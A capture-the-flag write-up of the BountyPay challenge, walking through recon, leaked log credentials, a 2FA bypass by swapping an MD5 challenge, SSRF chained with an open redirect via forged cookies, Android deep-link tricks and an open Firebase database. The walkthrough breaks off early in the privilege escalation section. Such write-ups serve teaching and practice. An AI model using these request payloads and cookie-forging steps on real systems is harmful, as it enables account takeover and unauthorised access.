h1-2006 CTF
18/06/2020
[TL;DR]
Reconnaissance
I did some recon to get a better understanding from the target scope.
Leaked credentials
A public GitHub repository mentioned a log file name which was accessible via web and was leaking some user credentials.
2FA bypass
To login as the obtained user, a 2FA system had to be bypassed.
SSRF + Open redirect
The accessed application had a SSRF vulnerability which could be chained with an open redirect to find the location of a hidden APK.
APK
A couple of Android challenges needed to be completed in order to obtain a token which could be used on a restricted service.
Accessing Staff
By using this new service and by doing some OSINT on Twitter it was possible to login in the Staff dashboard as an unprivileged user.
Privilege escalation
By exploiting a pretty complex CSRF I could force an admin to upgrade my user, then I had access to Marten credentials.
CSS exfiltration
With the obtained credentials, it was possible to access the final step that required another 2FA code which could be retrieved by using CSS exfiltration.
Reconnaissance
Everything started with HackerOne's tweet announcing the CTF.
As in every program, the first thing to do is read the policy and scope. Instead of a single domain like in the last ctf, here we had a wildcard, so I assumed I would have to deal with some recon and multiple subdomains.
I started looking for subdomains of bountypay.h1ctf.com
using crt.sh.
# curl -s "https://crt.sh/?q=bountypay.h1ctf.com&output=json" | jq -r '.[].name_value' | sort -u api.bountypay.h1ctf.com app.bountypay.h1ctf.com bountypay.h1ctf.com software.bountypay.h1ctf.com staff.bountypay.h1ctf.com www.bountypay.h1ctf.com
I tried to get more subdomains with other tools like amass
or by brute forcing but didn't get any new results, so I started with those and if I got stuck I would try again to try to discover more assets.
Once I had my list of subdomains, I used massdns
to see how they answered to DNS queries.
# cat crtsh.subs | massdns -r ~/wordlists/resolvers.txt -t A -q -o S api.bountypay.h1ctf.com. A 3.21.98.146 app.bountypay.h1ctf.com. A 3.21.98.146 bountypay.h1ctf.com. A 3.21.98.146 software.bountypay.h1ctf.com. A 3.21.98.146 staff.bountypay.h1ctf.com. A 3.21.98.146 www.bountypay.h1ctf.com. A 3.21.98.146
It seemed that every subdomain was being hosted from the same IP, an Amazon EC2 instance.
# curl ipinfo.io/3.21.98.146 { "ip": "3.21.98.146", "hostname": "ec2-3-21-98-146.us-east-2.compute.amazonaws.com", "city": "Columbus", "region": "Ohio", "country": "US", "loc": "40.1357,-83.0076", "org": "AS16509 Amazon.com, Inc.", "postal": "43236", "timezone": "America/New_York", "readme": "https://ipinfo.io/missingauth" }
I used masscan
to see what ports were open, so I could identify services running on that host.
# masscan 3.21.98.146 --rate=1000 -p0-65535 Starting masscan 1.0.6 (http://bit.ly/14GZzcT) at 2020-05-29 19:51:04 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [65536 ports/host] Discovered open port 80/tcp on 3.21.98.146 Discovered open port 22/tcp on 3.21.98.146 Discovered open port 443/tcp on 3.21.98.146
Ports 80
and 443
are certainly web services and port 22
should be an ssh
, so I tried to connect to it using root:root
(it never hurts to try).
# ssh root@3.21.98.146 root@3.21.98.146: Permission denied (publickey).
As expected it didn't work since my public key was denied, so let's jump into the web.
Leaked credentials
By visiting https://bountypay.h1ctf.com
I got the following page which simply had links to login as a customer (https://app.bountypay.h1ctf.com/
) and as staff (https://staff.bountypay.h1ctf.com/
).
I started with the custom panel and I got a simple login.
First thing I did was running ffuf
to discover other available paths.
# ffuf -c -t 50 -w ~/wordlists/common.txt -u https://app.bountypay.h1ctf.com/FUZZ -mc all -fs 15 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1-git ________________________________________________ :: Method : GET :: URL : https://app.bountypay.h1ctf.com/FUZZ :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 50 :: Matcher : Response status: all :: Filter : Response size: 15 ________________________________________________ .git/HEAD [Status: 200, Size: 23, Words: 2, Lines: 2] admin.php [Status: 404, Size: 178, Words: 7, Lines: 8] css [Status: 301, Size: 194, Words: 7, Lines: 8]
Turns out that the /.git
directory, where the git info is stored, was public, so I went to /.git/config
to retrieve the repository configuration.
# curl https://app.bountypay.h1ctf.com/.git/config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = https://github.com/bounty-pay-code/request-logger.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] remote = origin merge = refs/heads/master
Between that information, there was a GitHub URL (https://github.com/bounty-pay-code/request-logger.git
) from a repository which was also public.
In that repository only the following file (logger.php
) had been uploaded.
<?php $data = array( 'IP' => $_SERVER["REMOTE_ADDR"], 'URI' => $_SERVER["REQUEST_URI"], 'METHOD' => $_SERVER["REQUEST_METHOD"], 'PARAMS' => array( 'GET' => $_GET, 'POST' => $_POST ) ); file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND );
This function seemed to be logging every request received in bp_web_trace.log
, so I tried to access to that file on the current application.
# curl https://app.bountypay.h1ctf.com/bp_web_trace.log 1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ== 1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ== 1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19 1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==
By decoding those values in base64 I got the following JSON structures which were leaking a user brian.oliver
and his password V7h0inzX
.
{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}} {"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}} {"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}} {"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}
Tried the obtained credentials on the login panel and jackpot.
2FA bypass
Next step was bypassing the 2 factor authentication since I didn't have access to Brian's mobile phone.
The first thing that came to my mind was brute forcing, but after doing some calculations I thought there had to be simpler solution.
26 + 26 + 10 = 62
62^9 = 1.3537087e+16 combinations
The request being sent looked like this, being kk
the code I was providing.
POST / HTTP/1.1 Host: app.bountypay.h1ctf.com Content-Type: application/x-www-form-urlencoded Content-Length: 102 username=brian.oliver&password=V7h0inzX&challenge=902c8b655960b85860c99b2ae72f5d3e&challenge_answer=kk
In addition to my challenge_answer
there was a static parameter challenge
that, by its name, seemed to be the "solution" to my code.
That challenge string (902c8b655960b85860c99b2ae72f5d3e
) looked like a MD5 hash and as a challenge_answer it would probably expected the original value of it. I went to a couple of MD5 decrypt websites, but unfortunately it wasn't in any database.
Then, I realized that I was able to modify that challenge hash, so I could simply replace it by a hash which I knew the original value of.
# echo -n hola | md5sum 4d186321c1a7f0f354b297e8914ab240 -
And as expected, there wasn't any backend checks to verify the introduced challenge was the one originally provided. Therefore, with a request like the following one it was possible to bypass the 2FA.
POST / HTTP/1.1 Host: app.bountypay.h1ctf.com Content-Type: application/x-www-form-urlencoded Content-Length: 102 username=brian.oliver&password=V7h0inzX&challenge=4d186321c1a7f0f354b297e8914ab240&challenge_answer=hola
SSRF + Open redirect
Once I bypassed the 2FA I faced the following dashboard.
Here, there was only one action available which retrieved user transactions for the selected month/year with a GET request to /statements?month=01&year=2020
.
I tried brute forcing all available options using ffuf
but didn't get any results for any combination of month/year.
# ffuf -c -w months.txt:MONTH -w years.txt:YEAR -u "https://app.bountypay.h1ctf.com/statements?month=MONTH&year=YEAR" -H "Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9" -mc all -fs 177
Taking a look at the query response, I saw something interesting in the body.
{ "url": "https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=01&year=2020", "data": "{\"description\":\"Transactions for 2020-01\",\"transactions\":[]}" }
It looked like the app was internally making a request to the url
value and returning the response on data
. Therefore, if I was able to modify that url I would potentially have a Server-Side Request Forgery (SSRF) vulnerability, being able to communicate with assets I shouldn't be allowed to.
Taking a look at the session cookie (token
) which I first thought was a complex JWT, was just a simple JSON object base64 encoded.
token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9
⬇⬇⬇
{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}
I tried changing the cookie account_id
value from F8gHiqSdpK
to an arbitrary value ({"account_id":"hipotermia","hash":"de235bffd23df6995ad4e0930baac1a2"}
), observed I still could call the /statements
endpoint and I received a different response with my account_id
reflected in the url
path and an error message in data
.
{ "url": "https://api.bountypay.h1ctf.com/api/accounts/hipotermia/statements?month=01&year=2020", "data": "[\"Invalid Account ID\"]" }
This meant I could force the application to do a request to any URL in https://api.bountypay.h1ctf.com/api/accounts/*
, so I moved to that domain to see what I could find there.
On this page, there was nothing else but a link to /redirect?url=https://www.google.com/search?q=REST+API
, a potential open redirect, the perfect combination with the above SSRF.
Unfortunately, I found there was some kind of whitelist that only allowed redirections to known sites.
# curl https://api.bountypay.h1ctf.com/redirect?url=https://malicious.com URL NOT FOUND IN WHITELIST
I started playing with different urls to see if I could bypass the restriction but it seemed to have a robust whitelist.
Since https://www.google.com/search?q=
was whitelisted and I knew Google has some known open redirects I tried with those, but none of them worked.
Meanwhile, I took a look at the remaining subdomains I found during my recon and saw the following response at software.bountypay.h1ctf.com
.
# curl https://software.bountypay.h1ctf.com <html> <head><title>401 Unauthorized</title></head> <body> <center><h1>401 Unauthorized</h1></center> <hr><center>You do not have permission to access this server from your IP Address</center> </body> </html>
I wasn't allowed to access this resource from my IP address (even by changing the X-Forwarded-For
header), but maybe I could from the SSRF + open redirect.
First step was successful, the URL was whitelisted in the open redirect.
# curl -X GET -I https://api.bountypay.h1ctf.com/redirect?url=https://software.bountypay.h1ctf.com/ HTTP/1.1 302 Found Server: nginx/1.14.0 (Ubuntu) Date: Tue, 29 May 2020 20:03:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Location: https://software.bountypay.h1ctf.com/
Now, going back to the SSRF, I had to change my account_id
so the internal URL resulted in a request to the previous open redirect.
https://api.bountypay.h1ctf.com/api/accounts/[[ACCOUNT_ID]]/statements?month=01&year=2020
⬇⬇⬇
ACCOUNT_ID: ../../redirect?url=https://software.bountypay.h1ctf.com/#
⬇⬇⬇
https://api.bountypay.h1ctf.com/api/accounts/../../redirect?url=https://software.bountypay.h1ctf.com/#/statements?month=01&year=2020
I sent the request to /statements?month=01&year=2020
with the above payload as account_id
in the base64 encoded token
cookie and voilĂ , a login page in data
.
{ "url": "https://api.bountypay.h1ctf.com/api/accounts/../../redirect?url=https://software.bountypay.h1ctf.com/#/statements?month=01&year=2020", "data": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <title>Software Storage</title>\n <link href=\"/css/bootstrap.min.css\" rel=\"stylesheet\">\n</head>\n<body>\n\n<div class=\"container\">\n <div class=\"row\">\n <div class=\"col-sm-6 col-sm-offset-3\">\n <h1 style=\"text-align: center\">Software Storage</h1>\n <form method=\"post\" action=\"/\">\n <div class=\"panel panel-default\" style=\"margin-top:50px\">\n <div class=\"panel-heading\">Login</div>\n <div class=\"panel-body\">\n <div style=\"margin-top:7px\"><label>Username:</label></div>\n <div><input name=\"username\" class=\"form-control\"></div>\n <div style=\"margin-top:7px\"><label>Password:</label></div>\n <div><input name=\"password\" type=\"password\" class=\"form-control\"></div>\n </div>\n </div>\n <input type=\"submit\" class=\"btn btn-success pull-right\" value=\"Login\">\n </form>\n </div>\n </div>\n</div>\n<script src=\"/js/jquery.min.js\"></script>\n<script src=\"/js/bootstrap.min.js\"></script>\n</body>\n</html>" }
At that point I was able to access software.bountypay.h1ctf.com
, so I had to find if there was something interesting there other than a simple login page. Therefore, I created the following python script to generate a cookie for every path in my common.txt
wordlist.
import base64 with open('~/wordlists/common.txt') as f: dirs = f.read().split('\n') cookies = [] for dir in dirs: cookie = '{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/'+ dir +'#","hash":"de235bffd23df6995ad4e0930baac1a2"}' b64cookie = base64.b64encode(cookie) cookies.append(b64cookie) with open('cookies.txt', 'w') as f: f.write('\n'.join(cookies))
Then I could simply brute force using ffuf
with the generated wordlist to search for web content.
# ffuf -c -t 50 -w cookies.txt -H "Cookie: token=FUZZ" -u "https://app.bountypay.h1ctf.com/statements?month=01&year=2020" -mc all -fw 5,6,7 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1-git ________________________________________________ :: Method : GET :: URL : https://app.bountypay.h1ctf.com/statements?month=01&year=2020 :: Header : Cookie: token=FUZZ :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 50 :: Matcher : Response status: all :: Filter : Response words: 5,6,7 ________________________________________________ eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS91cGxvYWRzIyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9 [Status: 200, Size: 489, Words: 63, Lines: 1] eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS8jIiwiaGFzaCI6ImRlMjM1YmZmZDIzZGY2OTk1YWQ0ZTA5MzBiYWFjMWEyIn0= [Status: 200, Size: 1605, Words: 324, Lines: 1]
I only found two results, one for /uploads
and another for /
.
# echo eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS91cGxvYWRzIyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9 | base64 -d | jq { "account_id": "../../redirect?url=https://software.bountypay.h1ctf.com/uploads#", "hash": "de235bffd23df6995ad4e0930baac1a2" } # echo eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS8jIiwiaGFzaCI6ImRlMjM1YmZmZDIzZGY2OTk1YWQ0ZTA5MzBiYWFjMWEyIn0= | base64 -d | jq { "account_id": "../../redirect?url=https://software.bountypay.h1ctf.com/#", "hash": "de235bffd23df6995ad4e0930baac1a2" }
I checked what there was in /uploads
and a directory listing with a single apk file was returned.
# curl -s "https://app.bountypay.h1ctf.com/statements?month=01&year=2020" -H "Cookie: token=eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS91cGxvYWRzIyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9" | jq { "url": "https://api.bountypay.h1ctf.com/api/accounts/../../redirect?url=https://software.bountypay.h1ctf.com/uploads#/statements?month=01&year=2020", "data": "<html>\n<head><title>Index of /uploads/</title></head>\n<body bgcolor=\"white\">\n<h1>Index of /uploads/</h1><hr><pre><a href=\"../\">../</a>\n<a href=\"/uploads/BountyPay.apk\">BountyPay.apk</a> 20-Apr-2020 11:26 4043701\n</pre><hr></body>\n</html>\n" }
Unfortunately, during the first CTF hours this service was not working correctly. It wasn't possible to download that apk and I spent almost all night trying to figure out what was happening, so I finally went to sleep and woke up to this.
Then, I could simply access to the URL and download the apk.
# wget https://software.bountypay.h1ctf.com/uploads/BountyPay.apk
APK
First thing I do when I face an Android application is use apktool
to decode the application resources and dex2jar
to get the .jar
file.
# apktool d BountyPay.apk I: Using Apktool 2.4.1-683fef-SNAPSHOT on BountyPay.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /home/hipotermia/.local/share/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...
# d2j-dex2jar.sh BountyPay.apk dex2jar BountyPay.apk -> ./BountyPay-dex2jar.jar
Then, by using jd-gui
I can inspect application Java code.
Here, filenames spoke by itself and it seemed there were three different stages to complete this challenge.
Next step was to install the apk on my mobile phone to see how it looked.
# adb install ~/bb/programs/h1-2006-ctf/BountyPay.apk Performing Push Install /home/hipotermia/bb/programs/h1-2006-ctf/BountyPay.apk: 1 file pushed. 60.4 MB/s (4043701 bytes in 0.064s) pkg: /data/local/tmp/BountyPay.apk Success
Home screen was a simple form where a username and an optional twitter handler were requested.
I used hipotermia / hipotermia and clicked submit to begin with the first stage.
Part one
To start, I was presented with a simple white screen.
Nothing to do there, so I checked the code of bounty.pay.PartOneActivity.class
and saw this interesting fragment.
if (getIntent() != null && getIntent().getData() != null) { String str = getIntent().getData().getQueryParameter("start"); if (str != null && str.equals("PartTwoActivity") && sharedPreferences.contains("USERNAME")) { str = sharedPreferences.getString("USERNAME", ""); SharedPreferences.Editor editor = sharedPreferences.edit(); String str1 = sharedPreferences.getString("TWITTERHANDLE", ""); editor.putString("PARTONE", "COMPLETE").apply(); logFlagFound(str, str1); startActivity(new Intent((Context)this, PartTwoActivity.class)); } }
I assumed the goal of the challenge was reaching the editor.putString("PARTONE", "COMPLETE").apply();
instruction and, to execute that line, the intent needed a query parameter start
with a value equal to PartTwoActivity
.
To launch the intent with a query parameter manually I had to build a URL which executed this activity, so I checked the AndroidManifest.xml
and saw it was defined with a custom host and a scheme.
<activity android:label="@string/title_activity_part_one" android:name="bounty.pay.PartOneActivity" android:theme="@style/AppTheme.NoActionBar"> <intent-filter android:label=""> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:host="part" android:scheme="one"/> </intent-filter> </activity>
I could launch the activity with the desired parameter by using a URL like one://part?start=PartTwoActivity
, so I created the following HTML code.
<html> <body> <a href="one://part?start=PartTwoActivity">hola</a> </body> </html>
Then, by clicking the above link, the activity was launched with that query parameter and I was redirected to part two.
Part two
Same behavior as the first part, a simple blank page.
I did the same thing, went to bounty.pay.PartTwoActivity.class
and there was a similar piece of code where some query parameters were required (two=light
and switch=on
) in order to show some hidden elements.
if (getIntent() != null && getIntent().getData() != null) { Uri uri = getIntent().getData(); String str1 = uri.getQueryParameter("two"); String str2 = uri.getQueryParameter("switch"); if (str1 != null && str1.equals("light") && str2 != null && str2.equals("on")) { editText.setVisibility(0); button.setVisibility(0); textView.setVisibility(0); } }
Also checked the AndroidManifest.xml
file and observed that this activity was being defined with a scheme two
instead.
<activity android:label="@string/title_activity_part_two" android:name="bounty.pay.PartTwoActivity" android:theme="@style/AppTheme.NoActionBar"> <intent-filter android:label=""> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:host="part" android:scheme="two"/> </intent-filter> </activity>
I modified my HTML code so I could execute this activity with the desired parameters.
<html> <body> <a href="one://part?start=PartTwoActivity">hola</a> <br> <a href="two://part?two=light&switch=on">hola2</a> </body> </html>
And by accessing that link, the content of the activity changed, showing those hidden elements.
I reviewed the code to see what was the application expecting in that input and saw it was comparing the introduced text with X-
+ the value of the element header
from a Firebase
database.
DatabaseReference database = FirebaseDatabase.getInstance().getReference(); DatabaseReference childRef = this.database.child("header"); [...] public void submitInfo(View paramView) { final String post = ((EditText)findViewById(2131230834)).getText().toString(); this.childRef.addListenerForSingleValueEvent(new ValueEventListener() { public void onCancelled(DatabaseError param1DatabaseError) { Log.e("PartTwoActivity", "onCancelled", (Throwable)param1DatabaseError.toException()); } public void onDataChange(DataSnapshot param1DataSnapshot) { String str1 = (String)param1DataSnapshot.getValue(); SharedPreferences sharedPreferences = PartTwoActivity.this.getSharedPreferences("user_created", 0); SharedPreferences.Editor editor = sharedPreferences.edit(); String str2 = post; StringBuilder stringBuilder = new StringBuilder(); stringBuilder.append("X-"); stringBuilder.append(str1); if (str2.equals(stringBuilder.toString())) { str2 = sharedPreferences.getString("USERNAME", ""); String str = sharedPreferences.getString("TWITTERHANDLE", ""); PartTwoActivity.this.logFlagFound(str2, str); editor.putString("PARTTWO", "COMPLETE").apply(); PartTwoActivity.this.correctHeader(); } else { Toast.makeText((Context)PartTwoActivity.this, "Try again! :D", 0).show(); } } }); }
I looked through the apk resources and found the definition of that Firebase
database on res/values/strings.xml
.
<string name="firebase_database_url">https://bountypay-90f64.firebaseio.com</string>
If the Firebase database is not configured properly, its data can be accessed directly without requiring any authentication, so I tried to fetch the header
element as specified on the code and received its value (Token
).
# curl https://bountypay-90f64.firebaseio.com/header.json "Token"
Then, since stringBuilder.append("X-");
was being used on the code, I had to append a X-
to the obtained value. So by using X-Token
on the input field I could continue to the last stage.
Part three
As in the previous parts, here there was also a blank page to start.
I did the same and went to bounty.pay.PartTrheeActivity.class
to review the code and I found there were some errors in this activity.
When retrieving the query parameters like in the other two stages, variables str1
and str2
were being decoded in base64, but those weren't defined before.
[...] if (getIntent() != null && getIntent().getData() != null) { Uri uri = getIntent().getData(); final String firstParam = uri.getQueryParameter("three"); final String secondParam = uri.getQueryParameter("switch"); final String thirdParam = uri.getQueryParameter("header"); byte[] arrayOfByte1 = Base64.decode(str2, 0); byte[] arrayOfByte2 = Base64.decode(str1, 0); final String decodedFirstParam = new String(arrayOfByte1, StandardCharsets.UTF_8); final String decodedSecondParam = new String(arrayOfByte2, StandardCharsets.UTF_8); this.childRefThree.addListenerForSingleValueEvent(new ValueEventListener() { [...]
This resulted in an application error when trying to launch the activity with any query parameters because this portion of the code was reached.
I was about to edit the code and rebuild the application to make it work, but I decided to take a better look at the rest of the code to see if this was really necessary or I could simply imagine what would happen.
I saw the following function which seemed to be fetching a host and a token from a shared preference and then performing a POST request to it.
public String performPostCall(String paramString) { SharedPreferences sharedPreferences = getSharedPreferences("user_created", 0); String str2 = sharedPreferences.getString("HOST", ""); String str1 = sharedPreferences.getString("TOKEN", ""); Log.d("HOST IS: ", str2); Log.d("TOKEN IS: ", str1); try { URL uRL = new URL(); this(str2); HttpURLConnection httpURLConnection = (HttpURLConnection)uRL.openConnection(); [...]
I opened a shell on the mobile phone and checked at that shared preference being referenced on the code (/data/data/bounty.pay/shared_prefs/user_created.xml
).
root@vbox86p:/data/data/bounty.pay/shared_prefs # cat user_created.xml <?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <string name="TWITTERHANDLE">hipotermia</string> <string name="USERNAME">hipotermia</string> <string name="PARTONE">COMPLETE</string> <string name="TOKEN">8e9998ee3137ca9ade8f372739f062c1</string> <string name="PARTTWO">COMPLETE</string> <string name="HOST">http://api.bountypay.h1ctf.com</string> </map>
The host value was api.bountypay.h1ctf.com
(the site I could access via the SSRF) and the token value was some kind of hash (8e9998ee3137ca9ade8f372739f062c1
).
Didn't found anything else interesting here and went to see bounty.pay.CongratsActivity.class
to check if something was mentioned on the congratulations page.
protected void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); setContentView(2131427356); setSupportActionBar((Toolbar)findViewById(2131231012)); ((FloatingActionButton)findViewById(2131230845)).setOnClickListener(new View.OnClickListener() { public void onClick(View param1View) { if (CongratsActivity.this.click == 0) Snackbar.make(param1View, "Information leaked here will help with other challenges.", 0).setAction("Action", null).show(); } }); }
Just a congratulations message shown on the screen, so I decided it was time to move forward and go back to the web part with the information obtained here.
Accessing Staff
From the last part, I had:
- Header:
X-Token
- Token:
8e9998ee3137ca9ade8f372739f062c1
- Host:
http://api.bountypay.h1ctf.com
So I went back to find an endpoint on this host where I could test this new token.
Without providing the token:
# curl "https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=01&year=2020" ["Missing or invalid Token"]
Providing the token:
# curl -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" "https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=01&year=2020" {"description":"Transactions for 2020-01","transactions":[]}
Thanks to this information, at this point I was able to communicate with api.bountypay.h1ctf.com
without the help of the SSRF, so I started looking for content using ffuf
.
# ffuf -c -t 50 -w ~/wordlists/common.txt -u https://api.bountypay.h1ctf.com/api/FUZZ -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" -mc all -fs 22,178 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1-git ________________________________________________ :: Method : GET :: URL : https://api.bountypay.h1ctf.com/api/FUZZ :: Header : X-Token: 8e9998ee3137ca9ade8f372739f062c1 :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 50 :: Matcher : Response status: all :: Filter : Response size: 22,178 ________________________________________________ staff [Status: 200, Size: 104, Words: 3, Lines: 1]
I found that by accessing to /staff
I was returned a list of employees with their respective ids.
# curl https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" [{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]
I started trying those ids on every single endpoint I found till that moment without success, when suddenly I decided to do a POST request to this endpoint and observed the response changed.
# curl -X POST https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" ["Missing Parameter"]
I brute forced parameter names and tried different ways to supply that parameter (query param, www-form data, JSON data) until I found that by using staff_id
via www-form data I got a different error.
# curl -X POST -d "staff_id=kkk" https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" ["Invalid Staff ID"]
I tried by providing the ids I recently extracted from the GET request without success, those users already had an account.
# curl -X POST -d "staff_id=STF:84DJKEIP38" https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" ["Staff Member already has an account"]
Meanwhile on Twitter, HackerOne retweeted the following tweet.
I entered that account and found it only had a couple of tweets, the last one mentioning a new employee: Sandra.
Checked who BountyPay HQ was following and found Sandra's account.
She only had one tweet celebrating her first day at BountyPayHQ.
By zooming in the image her staff id could be seen under the bar code.
I tried the POST request with her staff id and bingo!
# curl -X POST -d "staff_id=STF:8FJ3KFISL3" https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" {"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}
Those were certainly credentials to log in into the last subdomain I was missing: staff.bountypay.h1.ctf.com
.
Logged in as Sandra and I was in.
Privilege escalation
I started poking around the application to see what actions I was allowed to do.
Under the Profile tab, I had the ability to modify my profile name and avatar.
On the other hand, in the support tickets tab there was only one welcome message.
And nothing else interesting by viewing its details, since I wasn't allowed to reply.
The URL for viewing this ticket was /?template=ticket&ticket_id=3582
, so I tried to brute force ticket_id
numbers with ffuf
, unfortunately I only seemed to have access to this one.
